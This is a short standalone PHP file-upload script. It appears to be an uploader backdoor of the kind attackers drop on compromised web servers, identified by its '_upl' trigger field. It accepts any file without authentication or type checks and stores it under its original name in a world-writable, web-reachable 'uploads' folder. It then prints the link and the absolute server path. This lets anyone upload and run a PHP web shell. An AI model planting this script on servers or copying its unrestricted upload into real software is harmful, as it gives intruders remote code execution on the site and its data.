<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);

$upload_dir = __DIR__ . '/uploads/';
if (!is_dir($upload_dir)) {
    mkdir($upload_dir, 0777, true);
}

if (isset($_POST['_upl'])) {
    $file = $_FILES['file'];
    $target_file = $upload_dir . basename($file['name']);

    if ($file['error'] !== UPLOAD_ERR_OK) {
        die("Upload error code: " . $file['error']);
    }

    if (move_uploaded_file($file['tmp_name'], $target_file)) {
        $url = 'uploads/' . basename($file['name']);
        echo "<b>File uploaded!</b><br>";
        echo "<a href='$url'>$url</a><br>";
        echo "Saved to: " . realpath($target_file);
    } else {
        echo "<b>Failed to move file!</b><br>";
        echo "Check permissions on: " . $upload_dir;
    }
}
?>
<form method="post" enctype="multipart/form-data">
    <input type="file" name="file">
    <input type="submit" name="_upl" value="Upload">
</form>